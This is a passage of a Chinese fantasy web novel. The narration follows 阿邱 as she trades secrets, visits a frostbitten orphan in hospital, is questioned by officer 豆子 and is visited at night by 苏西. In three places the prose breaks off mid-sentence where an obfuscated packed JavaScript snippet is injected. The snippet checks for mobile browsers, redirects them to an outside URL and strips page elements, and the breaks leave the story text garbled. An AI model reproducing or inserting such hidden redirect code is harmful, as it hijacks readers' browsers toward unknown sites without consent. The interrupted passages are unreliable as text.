玩笑,而自己的主要目的是虚张声势空手套白狼,阿邱稳了稳心神,故作深沉道:“罢了,这也不是能用金钱能衡量的。这样吧,作为交换,我需要你动用职位和人脉帮我查点事情。” “好。你想查什么?” “第一,镇南的调律师加百列到底是什么来头?” “他有什么问题吗?” “等你查到就知道了,第二,我想知道七年以内,克洛诺斯有没有从戍卫队调取项圈的记录。”阿邱指了指自己的脖子:“就是我这样的项圈,如果我没记错,除了塔尔塔洛斯的狱警,只有神殿戍卫队的高层才能申领吧?” 迦南答应得极快:“可以,这都不难查。” “那太好了。今天就是我们最后一次面谈了,后续该怎么联系呢?飞笺器不行,我用的那个是格林匹克堡改造过的,每一条信息都会被终止式监听。” “密信如何?”迦南看看四周:“但你这里似乎没有齑言台?” “24小时内自动焚毁的紧急密信也是一种选择,事先约定好提取的关键词,以免被人截胡。” “可以。” “费用你来承担,不要为难我这个底层人。” “行。” 迦南离开后,阿邱掐灭烟头,按捺不住地咳嗽起来。走投无路的底层人一点也不好模仿,阿邱实在不擅长主动损害自己的健康。 唯一让她感到后悔的是——早知道就厚着脸皮向克洛诺斯预支一点工资了!不,刚才她就该管迦南小队长要价十万金币!那可是涉及玫瑰学派和北城祭司的重要情报哎,岂能轻易贱卖? 还是收起那点歪心思吧,谁叫她是善良正义又慷慨的预备救世主呢?阿邱摸摸失去了徽章的口袋,里面还有剪刀、情商修炼手册、四分之一块曲奇,以及这两天劳动所得的三个银币。 这时,管道会议室发生了惯例的地震。是个膀大腰圆的客人造成的,享用过家庭作坊的新鲜服务,正拖着一个浓妆艳抹的矮个子男人——牧笛眼中的竞争对手——走到街心。可能是服务没到位,给他这样的虚胖体质剩下了不少精力,足以举起拳头对可怜的流莺又打又骂,羞辱之词不绝于耳,仿佛风月场是他最后一个能找回自尊的擂台。 自尊的源头或许在他门户大开、几乎要向地面付点过路费的钱包上,阿邱远远看着,小心地在桌上把三个银币叠起来。 十字城邦发行的银币拥有最精美的铸刻工艺,因此也是最容易藏污纳垢的一种货币。阿邱的指尖闪烁起微光,在它的笼罩下,叠在一起的银币微微震颤,又在颤得最厉害的时候陡然平息下来,仿佛自然而然地由女神的三张侧脸变为了女神的三张正脸,也理所应当地坍塌散落在了光芒消失时。 对不住了,合法消费者。阿邱认为,冷冰冰的货币贵精不贵多,它最好的出路就是花费在对世界更有益处的事情上。 比如说,惩戒个体的小错误,同时用它弥补一些庞大的过错。 36. 第三十一章 克里姆森花 “后半段你被请走了,那你在场时的情况怎样?” “你问谁?” “你就一个一个详细说说嘛,我又不赶时间,反正上午一过完我们就没事干了。” 豆子翻了克洛诺斯一眼:“加百列的确很专业,脾气也软得像床鸭绒被,东城第一调律师舍他其谁。可以了吗?” “那阿邱呢?” “她么,见了调律师就很害怕,从头到尾都在胡言乱语,可能在塔尔塔洛斯被人用类似的仪器拷问过吧。” “是吗?唉,小可怜……这种事你早该说的,非得让我问三遍!” 克洛诺斯明面上是在抱怨,语气里却有藏不住的笑意,和曲奇被偷那天一样地诡异。 对于他的情绪雷阵雨,豆子向来是无视态度:“你有什么高见?” “我在考虑要不要违背情报保密等级条例,私下把阿邱入狱的原因告诉你……” “不必了,我不感兴趣。” “好吧,想也知道,我就随口一说。” 啧。 “但我必须提醒你,就算人家蹲过塔尔塔洛斯,你也不可以仗着自己是所谓的警官就欺负她哦。” “你搞搞清楚到底谁欺负谁。” “咦,在我不知道的地方发生了什么吗?不管发生了什么,你是希孚里亚的绅士,记仇也太没品了!” 说来说去就是两套评价系统呗。豆子烦躁地心想,当年这位大傻在风头最盛时明里暗里没少受到性骚扰,半隐退后竟无法共情有可能处于劣势的同性,说明什么,说明被骚扰了他还挺高兴的! 正在心里编织辱骂和嘲笑时,这根大棒针的绅士病毒却又往回收了收:“不过你自己也得当心别被人轻易迷住了,要是以后她让你往东你不敢往西,那可就麻烦了!” ——短短两句话搞反了两件事,有克洛诺斯这样的人身居高位,是标准音的福气。 “还有,你是说调律师现在都把狱中的拷问器具引入治疗啦?” “应该不是专门用来拷问的仪器。”回想起邱小姐当时的神情,豆子莫名不想语气太重,“对它的定义通常取决于第一印象。” 说完这句,好半天没等到回应,回头一看,克洛诺斯又在赏玩他那宝贝通缉令了。 “真不错,都过了这么久,清晰度还保持在这个水准……话说上次阿邱来的时候居然没提这事哎,是不是有点奇怪?” 那是没跟你提。 “难不成是午夜梦回想起狱中生活,创伤后遗症什么的一复发,只好先把鸫搁置啦?你说,阿邱一开始就坚定地想找他,驱动力到底哪里来的啊?” “你为什么不去问副队长?” “我就想听听你的意见。” “养肥了宰来吃。” “喂,罗宾小队员,不要一天到晚的把吃人挂在嘴上!我是想提醒你,既然阿邱都放弃鸫了,你得抓住这个机会,趁热打铁、趁火打劫、趁虚而入——” 突然,虚掩着的薄铁门被猛地推开,撞到墙上,发出一声骇人的脆响。 “警官,救救我!” 闯入者是一位脸色苍白的少年,年龄不过十五六,按豆子的审美经验,这是现今十字城邦最流行的、也是最标准的一款美少年。如果再细分下去,冰山系、花朵系、天鹅系、软糖系……往甜了靠就是,他也搞不懂看个脸怎么还能尝到味道的,可能直接说“好摆弄”太难听了吧。 一进门,美少年仓皇地四下看看,捕捉到克洛诺斯翘在桌上的大长腿,慌不择路地向他扑过去—— 立时被一阵迅疾的力道摔到了墙角。 豆子拍拍手上的灰:“知警袭警,情节严重可当场击毙。” “罗宾,你退后。”克洛诺斯上前扶起美少年:“没事吧弟弟,这是怎么了,遇上什么麻烦了吗?” 美少年怯生生地看向豆子,后者下巴一抬,眼里不见一丝歉意:“不好意思,你走错门了,其实我们不是什么警官,森林戍卫队支部离这儿不远,如有需要,我送你过去。” “不行,来不及了……”美少年拼命摇头,揪着克洛诺斯的衣袖颤声道:“警官大哥,我叫塔桥,来自威丝塔芬……我不是坏人,真的真的,快、快帮我躲起来,我把身上的钱都给你!” 他哆哆嗦嗦摸出钱包,想要交到克洛诺斯手上,一时没抓稳,使它开口朝下掉落在地,金币滚得到处都是。 豆子还想说什么,却见美少年忽然僵住不动了,只剩手指在微微战栗。他看向门外,不知何时,那里多出来一位黑衣老者,如鬼魅般静立在美少年身后,饶是反跟踪经验丰富如他也没能即时察觉。 克洛诺斯倒是先他一步察觉到了,正在傻兮兮地朝老者招手:“你好你好,进来喝口茶呗?” 老者微微摇头,仍旧站在原地,表情平静无波,对美少年的后背轻声道:“少爷,天冷了,我们早些回去吧。” “哟,你还是个少爷啊!”克洛诺斯发出夸张的惊叹,“这位老先生是你的管家?” “对,他……是来接我的。”说着,美少年扯起一个笑,双手交握放在身前,已不复刚才那般慌张。这个变化幅度堪称诡异,赶得上克洛诺斯提出趁火打劫时的笑容了。 美少年保持着这个姿势,步态优雅地跟着管家离开了指挥处。克洛诺斯冲他的背影喊道:“外边危险,下回别再离家出走了!” 豆子指着满地金币道:“这些怎么办?” 克洛诺斯转着手腕聚起一个风眼,用清洁术扫荡了每一个角落,把散落的金币尽数卷到半空,再让它们排着队落入茶几上的钱包中。 “过两分钟我跟过去看看。” “两分钟赶得上吗?” “怎么赶不上,下限是那个少爷的脚力,不是管家的。” 豆子对“少爷”这个称呼嗤之以鼻,眉头深锁,回到自己的工位上。 克洛诺斯不紧不慢地穿戴着装备,回头看看他,怪笑又回到了脸上:“今天你要去找阿邱玩得趁早,中午有人跟我报信,她交了班就往镇医院的方向去了。” “所以你能不能给个准信?”豆子正忙着把一大堆填好的表格装订成册,头都懒得抬一下,“需要下达保护令吗?” “什么保护令?……哦,这事你先不用管。” “随你。” “那阿邱她——” “我今天是要去找邱小姐,但不是为了玩。”豆子扬了扬手里的册子,暗示他“看到这个没?再笑一声就砸你脸上。” “那是那是,谁不知道你热爱工作呢!”克洛诺斯笑嘻嘻地闪躲着,和枝头的喜鹊一样聒噪又精力旺盛。 “还有,你不要默认我每天下午都要去找她,今天我是真的有事。” “啊对对,都是为了公事呀——” 豆子烦躁不已。等队长穿戴整齐走到门边,他才开口问:“她去镇医院是要干嘛?” ———— ———— 镇医院药房。 “克里姆森花不就是深焰花嘛,同一个东西的不同名称罢了,我看看啊……库房还有一点存货,可你要拿来干嘛?” “送给受了冻伤的朋友,我知道拿处方单过来你们也不给开,所以就自费购买了。” “稍等一下,冻伤痊愈需要的是时间,我们一般不提倡病人使用这种强效药材……” “不是每个病人都有时间静待痊愈的。”阿邱霸道地在柜台拍下三个金币:“别废话了,给我包一个疗程的,这些钱够吗?” 店员摇着头去仓库取货了。 “还是东部小镇好啊。”身后不远处,传来一个温柔的女声,“放在希孚里亚,治疗冻伤的强效药,恐怕要讹你白金币了。” 说话者是海伦,夏尔玛镇长的秘书,身边还跟着个好脸色人生占比不超过20%的新人审讯员。 不,照上次反思的结果,最先被想到的特征应该是“同病相怜”才对。 不仅如此,公车上的经历还让她对新人审讯员有了新的认识:嘴巴毒的人心里苦是一方面,嘴巴毒的女孩子,心里的苦一定远超常人! 跟豆子警官不一样,豆子纯粹是他性格有问题——还是阿蒂提的遭遇提醒了阿邱,在社会上单打独斗的女孩,不管原来是什么性格,不逼着自己提高攻击性,挨打的就是她了。 因而,考虑到新人审讯员的苦衷,阿邱对她的态度比原谅还要原谅,甚至都开始有点喜欢她了…… 可喜欢又有什么用?无关紧要的喜欢不会让她的生活变好半分,说不定还会冒犯到她,所以还是忍住喜欢、保持基本的礼貌吧。 “你们好呀。”阿邱双手交握放在身前,努力扯出一个微笑,“来探望朋友?” 海伦指了指新人审讯员:“是露娜她……” “海伦姐!”露娜大声打断,“不要什么都往外说。” “好好好——”海伦踮起脚拍拍她的头,眼里满是对后辈的宠溺。 这么一看,正派角色的团队氛围也还蛮和谐的嘛,都把黑恶势力终止式那点微末的人情味给追平了,可喜可贺! 店员从柜台里递出了克里姆森花,阿邱掂了掂,出于好奇,小声问海伦:“就这么点东西,在希孚里亚真的要用白金币才能买到吗?” 白金币是十字城邦价值最高的货币,每三年仅发行一万枚,通常在所谓的老钱阶级与头部投机分子手中流转,用以交易禁术、黑魔法、血咒,或者其他不为人知却影响着世界走向的神秘货品。 海伦略感诧异:“你不是从希孚里亚过来的吗,居然对那边的药材市场一点也不了解?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052082|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我下山的机会很少,大部分时间都在学校里窝着……” 露娜没耐心跟她闲扯,急着要去队伍最前端,用不快的目光擦着阿邱的头皮,把她挤到边上去了。 说来奇妙,豆子也时常露出这种表情,但露娜长得高,大多数人说话前都要仰视她,所以她就显得比豆子有气势多了——在十字城邦,武力就是一切,身高次之,若擂台上的双方整体能力持平,取差距较为明显项作为评判标准,那么,恭喜露娜大获全胜。 阿邱看着她宽阔的背影,鼓起勇气上前搭话:“露娜露娜,你家住在哪,我可以去找你玩吗?” “窄街夜莺巷。”露娜一偏头,对她的问题感到愕然,眉毛却依然拧得死紧:“没事别来找我!” 又是窄街?据牧笛所说,窄街也算是旧矿山镇的贫民窟了,可露娜家不是雇得起园丁的富贵人家来的吗…… 海伦不着痕迹地拉走了发呆的阿邱,像是怕她尴尬,主动挑起话头:“邱小姐,他们说你曾受过玫瑰学派的照顾,舍妹也是大学院在读,有进一步深造的想法,方便跟你了解一下这方面的情况吗?” 问完学业上的问题,她又状似无意地提起:“他们有跟你提过那个数到三的预言吗?” 阿邱舔舔上嘴皮:“那是什么?没听说过。” “哦,坊间流言而已,好像说跟天灾有关,传得神乎其神的,什么‘要是发生了,肯定比12年前的极寒地狱还要严重’……我才不信,因为我知道极寒地狱是有人为因素在的……” 阿邱的笑容有点挂不住了:“是吗?我有点事先走了,最近寒潮反扑,你们都要注意保暖哦!” ———— ———— 站在病房前,用脚尖碾了半个世纪的地板,阿邱鼓起一丝勇气,终于敲响了房门。 阿蒂提未成年,不能合法取得正式工合同,于是住在收费最低廉的福利病房。刚从门缝中钻进去,阿邱的脑门子便挨了一击,半瘪的皮球缓缓滑落,妮莎笑嘻嘻的脸从后面探了出来。 “哎,妮莎!真不好意——是你?” 阿蒂提坐在床上,手中活计不停。她正在把一盒各式各样的珠子穿成手串,技巧娴熟、审美高级,好多种款式阿邱在卫城都没见过。 见到来者,她的惊讶总体上大于不耐,但那微茫的不耐也有些扎人。阿邱早接受了自己走到哪里都不受欢迎的命运,低着头坐到了她的床边。 “妮莎从小就是这样,下手没轻没重的,但她没有恶意,你别生气。” 阿蒂提看向病房一角正和瘪皮球较着劲的妹妹,形式上道歉,可听那口气,分明是在说“你让让她,不许生气”。 阿邱却想着,十二岁本该是充分发挥原初创造力的年纪,可是妮莎只有一只瘪皮球。 她表示自己毫不在意,阿蒂提便放软了态度。 “都怪我没带好她。” “你自己都是小孩,你又有什么办法呢?那个,我想问一下,冷冻库的工作还、还……” “没有‘还’了。”阿蒂提停下手,短暂地陷入沉默。 不到两秒钟,她接着埋头干活,手上的速度比刚才还要快上不少。 “也没什么好可惜的。”她喃喃说着,像是在劝慰自己,“还好我耳朵灵,察觉到不对就跑了,不然还要倒赔他们的钱……没关系,也就是少了个收入来源,只要我还有一口气在,至少不会让妮莎饿死。” “……” “本来没想着住院——也罢,因祸得福,就当是得到一段假期了,说来也不算坏事。你呢?”她用下巴指指盒中的克里姆森花,“为什么带着这么贵的药材来看我?” 她的眼神中蕴含了超越年龄的成熟,不敢与之对视的阿邱决定撒个谎。 “因为我也是极寒地狱受害者家属……是我妈妈、我妈妈被那场灾难夺去了生命。” 阿蒂提的手又是一顿:“这样么。” 再开口时,她的语气已温和了许多:“你节哀。” “嗯。” “再难都挺过来了,以后你会越来越好的。” “……谢谢。你也一样。” “你恨她吗?” “谁?” “岳千秋。” 提到这个名字,阿蒂提似是再也抑制不住情绪,猛地把手里的东西往床上一扔,目光投向窗外,胸膛剧烈起伏,神色晦明不定。 她的每个字都是从牙缝里挤出来的,“管她是不是八岁小孩,我那时候也是个小孩啊,我还比她小三岁呢,父母都被天灾夺走了,谁来同情我?如果你要骂我冷漠、不近人情、没有大局观也随你便,说实话,我不理解那些大人物为什么坚持废除死刑——经历了这种事,我巴不得那个罪魁祸首受尽虐待,惨死在塔尔塔洛斯。” 37. 第三十二章 蓝 blue 那如果……那如果…… ——要是还剩一丝力气,阿邱会不死心地这么追问: 那如果,这个罪魁祸首跪在你面前道歉,你会接受吗? 答案显然是否定的。阿蒂提会嗤笑一声反问她:“道歉了我爸妈就能回来吗?” “是的,所以我也不接受。”然后伪装的受害者会这么附和她。 又如果…… 那个罪魁祸首有幸成为了救世主,最后干出一番惊天动地的伟业来,占比不大、数额却惊人的受害者们愿意放下仇恨,站在道路两旁为她喝彩吗? 负责提供答案的脑中阿蒂提与地平线以上的所有情绪混在一起消散了。 现实中的阿蒂提却向谎言家表示着关心:“你最近过得怎么样?” “我吗?”露娜和豆子的嘲讽声犹在耳畔,阿邱不过脑子地回答:“我最近在备考调律师资格证,总是忍不住四处做点大众心理研究……” “这样啊,那祝你早日上岸吧。”许是想让场面轻松些,阿蒂提努力挤出一个笑,安慰着比她大三岁的成年人:“调律师资格证么,难是难,但努力总有回报的……咦,不然我也考考看吧?你别说,像我们这种人可能还更适合干这类工作呢。” “哈哈,是啊。” “对了,你一进门我就想问了。”阿蒂提摸摸自己的脖子,“这个,是他们治疗你的手段吗?” “什么?……哦,对。”阿邱模仿着她的动作,信口胡诌道,“因为我有段时间晚上睡不着觉,老爱掐自己的脖子,掐到快要窒息了,不得已只好……” “我就说嘛,看着真难受,像是要长进肉里了。”阿蒂提一边叹气一边捡回满床的珠子,“比起上岸,还是先祝你早日摘掉项圈吧。” 现在应该数到几呢?数到4?可是早就归零了。开启下一序列? ……都没意义了。 ———— ———— 镇医院前方有个小小的广场,喷泉早已干涸,花坛也被荒草覆盖,除了零星几个做复健运动的病人,此处的活物只剩满地觅食的鸽子。 豆子捏着包麦麸,有一搭没一搭地朝鸽群撒一把,享受着难得的清静。 对他这样的人来说,清静总是不长久的,因为邱小姐总算办完了事,正低着头往这边走,步履极快,鸽子们扑棱扑棱慌张地避让开,她也不懂得为别的物种放慢脚步。 这头寻着红布而去的公牛暂时还没发现他。 豆子的眼睛天生能比寻常人看到更多种色彩,凭着它,总能发现细微之处的小异常。在这个场景下,他的发现是:似乎永远焊在邱小姐皮肤上的那层粉色突然不知所踪,叫他来评判的话,现在的邱小姐整个人都泛着一层薄薄的蓝色,犹如冰层之下保存完好的古尸。本来颜色还没这么明显,是酒红色的老太太披肩反衬了这种蓝——它的正衬和反衬功能都远胜于保暖功能。 在这块浮冰即将被洋流卷走时,豆子出声了。 “喂。” 蓝色的邱小姐脚下一顿,朝喷泉这边看过来,原本恍恍惚惚的眼神中闪过一瞬的惊恐。 “罗宾警官?” “是我。” “下、下午好。你是来看病的还是来探病的?” “你也下下午好,我是来找你的。” 豆子起身走向她。 “怎么这副表情?你摸进太平间偷东西了?” ——针对变色现象,他暂且只能做出这种联想。 “我没有偷。” 异常之处在于,首先,邱小姐既不捧哏,也不气急败坏地挑衅他,更不叽叽喳喳、不问自答地发散出一些无人需要的知识点。今天的她,活像放久了的皮球一样瘪掉了。 “……啊,是想让我汇报工作吗?本来想用飞笺器发给你的……” 其次,和豆子的坏习惯一样,她把胡乱猜测置于沟通出成果之前。 “你都找到这里来了,那我就口头汇报吧。淡猫俱乐部没有异状,异状全是发生在我身上的,迦南小队长一顿威逼利诱,非要我把终止式的情报卖给他。” 她的嘴唇机械张合着,讲话也不再故布迷障了,好像生来只懂得平铺直叙。 豆子抱起胳膊:“那么你的反应是?” “看他的诚意了。” “……你是不是忘了撒谎?” 邱小姐双眼微微睁圆,很快又像接近地平线的夕阳一样扁了回去:“我为什么要撒谎?” 鬼都听得出来她现在只想早点结束这段谈话。 可原因似乎并不只是心虚。 “你问我?” “开玩笑的。那个……”终于,她抬起眼皮直视了豆子的脸,“警棍。补好了,但应该没法用了。我要赔多少?” 豆子扬起眉毛和她对视,过了好一会,才开口回答她:“不用你们赔。” “好。还有什么事吗?” “听说你要找一个名叫摩罗斯的调律师?” “对,之前我受过他很多恩惠,然后我就联系不上他了。”邱小姐越说头越低,最后眼睛都只盯着脚尖了。 “怎么会联系不上呢?报刊亭应该都有最新版的全境调律师联络簿啊。” 豆子朝她走近一步,还想逼迫她继续说点什么,心里翻腾起莫名的恶意,可源头是什么,他自己也搞不清楚。 邱小姐的身体对逼近的恶意毫无反应,像水泥桩一样钉在原地一动不动:“我没看到,明天我去找找。” “你找摩罗斯是想做什么?” “我受过恩惠啊。” 见豆子半晌不回话,也不让路,邱小姐似是不想与他起冲突,小声又客客气气地补充道:“我欠他太多了,见面之前总得备点礼吧……” “你放弃吧,他已经死了。” 夕阳又短暂地跃出了地平线:“是吗?” 继而像遁入永夜般沉了下去。 豆子强压恶意,慢条斯理地陈述着:“你的情报出错了,摩罗斯不是为了大赛才来到旧矿山镇的,他本就是旧矿山镇出身,后来他死了,等这届阿瑞斯杯选址公布后,来自希孚里亚的加百列就填补了他的位置。” “这样啊……谢谢你告诉我这个。” “我不是白跟你说这些的。下次再想找人,麻烦你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052083|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先走流程,不要私自调查,否则惹到了不该惹的人,在不冻港周边想处置你,因地制宜把你沉海都算是最轻的了。” “好的。” “好的?”豆子咬咬牙,都快气笑了,“邱小姐,你还真是前言不搭后语啊。” “……嗯?” “先前你在指挥处表现得好像连名字都记不清似的,现在又变成了你曾受过他的恩惠,这当中的偏差,请问你是要用这几天的经历来圆谎吗?那你可要即兴编出一大堆比舞台剧还生动的梦了。” 邱小姐垂下去的眼皮翕动了一下。 “呃,其实不是我,是我以前的朋友受过恩惠。” “哦,又有新人物出场了。你觉得我还会相信吗?” “……算了,死都死了,我不找了。” 最异常的来了。感受到逐渐加深的蓝色,豆子还真有点相信她不会继续找下去了。该怎么说呢?她此刻表现出来的状态,倒和她木头一般的感知能力有几分相称。 ——别说是找人了,连活着的兴致都不太高的样子。 于是豆子开始喃喃自语:“什么意思?我们是不是不该让你去看调律师?……” “哎?别这么说啊,我挺好的。”态度转好一些,邱小姐竟还有点过意不去了:“罗宾警官,你的伤今天好点了吗?队医还没来的话,要不要先去医院挂个号?” “用不着,队医手上有全队成员的追踪记录,队员的身体状况也写在保密条例里。”她越是像失去支撑的旧沙发一样塌陷下去,豆子越想激她多说两句,眯起眼,把恶意摆到了明面上:“你是不是想说:哟,就你们终止式金贵。” 可邱小姐只是礼貌性地笑笑:“你说得对。” “……” 她慢吞吞地伸出手,扯紧她的老太披肩:“要没别的事,我就先告辞了……” 豆子还是没有让开,忍无可忍地用手指捅了捅披肩的缺口:“你缝个扣子在上面,它就不会到处乱跑了。” “还能这样?太聪明了,你也是个生活大师。” “‘也’?” “我是另外一个。天冷了,罗宾警官也早点回去吧。” “我不怕冷。” 看着蓝色毒蘑菇脚步打飘地走向车站,豆子的想法发生了一些转变:邱小姐并不是克洛诺斯的复印件。 情绪这么不稳定,傻乐的时候的确很傻,却又不能保持很久,她怎么比得上克洛诺斯呢?在烦人程度上。 广场上的鸽子们吃得几颗食就认上人了,等不稳定因素一消除,立刻迈着小碎步往豆子身边凑。 蹲下身才发现,鸽群中混进去了几只呆头呆脑的斑鸠,体型一看就比别的鸟都要小一圈,还紧紧跟在鸽子后面模仿它们走路,自以为掩饰得很好。 可豆子不甚在意,都是饿鸟,粮在他手里,一并喂了又有何难;吃了他的,心肠再坏也不至于回头叨他一口吧? 他知道万物有灵,灵离开了躯壳便是同一种形状,或许个体之间存在差异,但都能在第一时间辨认出彼此是同类。毕竟,真正不为世间所容的灵魂,早已被埋葬在传说的冰层之下了。 38. 第三十三章 鮟鱇(1) 阿邱抱膝坐在床尾,背靠着贴有平面鸫的那面墙。 环绕在她身边的,仍旧是满墙的魔法阵和符箓,用以召唤好运、驱逐魔女。 完全不起作用,魔女已经验证过了。 时间早就过十二点了吧。 窗外不时传来嘈杂的人声,要么在悬挂旗帜,要么在调试广播。为这个场景设计一句广告语,大概可以说成:阿瑞斯杯的飓风,终究还是刮到了夜之窟哇。 风又不是大风刮来的,风也总有刮到头的时候,等风刮到了头,寂静比没起风时还要寂静。 咔嚓,咔嚓。 大抵是附近人家的挂钟。仔细一听,还有生火炉的声音,矿油不够,火炉没能生起来,它咳嗽的时间比运转的时间还要多——什么都比零多。 阿邱不想合眼、不想用小鸭子和原比例平面鸫玩过家家、不想给迷你平面鸫剪贝雷帽。今天她在洱鸾大陆浪费的粮食,全都用在了维持泪腺运转上。 可是本该受尽虐待、惨死在塔尔塔洛斯的罪魁祸首又有什么资格伤心呢?当年没能以死谢罪,就天然地站在了人群的对立面;事后不管怎样赎罪,失去的也不可能再回来了。 风又刮了起来。 怪不得人人都憎恶魔族,就算以血统的形式出现在人类的身体里,它带来的周期性情绪低潮也比一些刑罚还要折磨人。 也没什么可怕的,只要变成纯粹的人类就好啦…… 怎么变? 好想休息。明明什么都没做,身体却已经这么累了。 可是不能就此停下……至少不能放任低潮发展成深渊。 不可以停下来,绝对不可以。她必须做点什么。 也没什么可做的。 那就想点什么。 脑袋钝钝的。 π=3.1415926…… 还有医院广场那边……豆子警官的拷问,她回答得很不好。 圆谎太费力气,他们很快就要来逮她了。 当场不逮,事后也未必会逮,终止式既不是强龙,又不是地头蛇。 好。再想点别的。 在加百列的工作室,豆子梦境中的血红色究竟是什么? 豆子是阿邱的同龄人,照理说,他出生时,战争这种野蛮的东西早已被扫进历史的垃圾堆了。 ——古典主义的历史小说钟爱描写战争场面,出版商也会定期发布一些“好男儿必读100本”的书单。都怪那些坏蛋作者,描写下位者的受害过程十分细致翔实,到了反击阶段就三两句带过,看把人吓成什么样了都。 对,就像这样,思维总会找到它能停靠的岸。 往好处看,或许她现在这个状态才更接近人类的理性。 除了理性,她还剩一点点的演技。今天的事既往不咎,从明天开始,就要把头皮和脸皮上的水泥都糊回去了,反正不能像下午那样,在不熟悉的人面前暴露出太多破绽。 但要是豆子坚持追究,那就真得找个时间把警官们都…… 做掉了。 挖掘出了暂时的平静,阿邱趁热打铁地往床上一倒,想在太阳升起前休息片刻—— 却被对面墙上诡异的响动夺走了平静。 她本该抄件趁手的武器走向声音源头,防备即将破窗而入的小偷……可一直到苏西破窗而入,她仍是瞪着眼歪在床上,一下也不动弹。 “哟,还醒着呢!我就知道。” 比起注意到异常,苏西优先利用双眼所见合理化自己的行为。 阿邱缓缓坐起身:“你是从管道爬上来的?” “是啊。”苏西脱掉外套扔在地上,露出下面的男式便服,“牧笛和影哥都睡一楼,你一个人睡二楼,我的观念很朴素,我选择吵醒更少的人。” 他不知道影今天不在吗? “你这儿有没有水喝?” “没有,你得去厨房找。” 苏西一拍脑门:“对,隔壁浴室十二点之后也要停水,来你房间真是不明智。” 阿邱靠回墙上,试图用身体挡住平面鸫,可惜苏西眼尖,早在进来时就发现了:“你这海报设计得还挺别致,跟通缉令似的。谁家的选手啊?” 为了看得更仔细,他干脆甩掉鞋子爬到阿邱床上,还一肩膀怼开了原住民。 “我看看啊——噫,笑得真假。” 这不能怪鸫,是复印件的定格帧没选对,刚好卡在了假笑上。 为了看得更仔细,苏西的眼睛越来越贴近“海报”,不光看,还上手摸。阿邱讨厌他这样,暗中蓄力,准备一脚把他踹到床下去。 好在苏西看了一小会就察觉到身边不悦的视线了,冷笑着转个身,靠在了阿邱原来的位置上。 “你听过叶公好龙的故事吗?” “那是什么?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052084|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也是听老人讲的,大概是说有个人爱上了壁画上的龙,天天茶不思饭不想的,就在那痴痴地观赏啊、摹画啊,作为模特的那条龙听说了之后很感动,吐着火就来找他了,结果呢,真见了面,这人吓得屁滚尿流,大叫一声逃开了。” “……你在点我?” “对啊。” 放心好了,塔尔塔洛斯的刑罚了解一下——经过那一遭,别说是吐着火来找她,就是鸫吐着火烧毁了整座村庄,她也能憋好一切生理反应。 不知为何,苏西猛地推了阿邱一把:“你为什么不笑!” 阿邱摔到枕头上发了会儿呆,像半坏不坏的不倒翁一样,慢吞吞地也还能弹回来。 “我为什么要笑?” “不笑就不笑吧,你今天有病,把你推倒了你都不叫唤。那我换个故事——听说过灯笼鮟鱇吗?” “……鮟鱇我知道。这回你又想点我什么?” “没想点你,但你不觉得这种鱼特别像人类吗?” “像在哪?皮肤质感?”阿邱不免回想起老库奇因生气而皱巴起来的脸皮。 “另一方面,他们也擅长利用亮晶晶的身体部位引诱猎物上钩。” “就像人类利用金币引诱……自己的同胞上钩?” “金币还是其次。”苏西狠拍一记墙上的“海报”,“多可怕啊,他们现在都会使用美少年了!” 原来是在点克洛诺斯啊。 阿邱探身过去掰开他的手:“你别摸了。以他现在的年纪,应该算不上美少年……” “你错了,只要当过一次美少年,这辈子都不可能摆脱美少年的阴影了。” 什么意思?列在书单“好男儿避雷100本”里的新浪潮小说,可是把他们塑造成了新时代的宠儿呢。 “干嘛那样看着我?我敢说,你喜欢的这条龙,八成跟我有着差不多的童年。” “什么样的童年啊……?” “这还用问?这年头家道破败又不幸长得很好看的小男孩,你觉得还有别的路子可走?” 那不就是……把族谱放在油锅里煎,拼命使其翻身吗? 预计苏西接下来会讲一些特别悲惨的个人经历,阿邱暗自摸摸心口,这才发觉自己是真的完蛋了——许是睡眠不足,她不再关心人们的境遇和她一直追寻的真相;无尽的远方、无数的人们,在太阳升起之前,都和她失去了关联。 39. 第三十三章 鮟鱇(2) 大脑休眠后,阿邱转无可转,只好让空荡荡的头盖骨发出自我共鸣,走马观花式地从身边寻找案例:“你是说合唱团的小孩?” 仿佛就在等她这么问,苏西哼笑:“你以为那些小孩光靠唱唱歌吹吹笛子就能赚大钱?” 当然不能,脸与性别的附加价值更好卖钱……从阿邱的视角出发,顶天了还有一个小众原因:一等通行证。 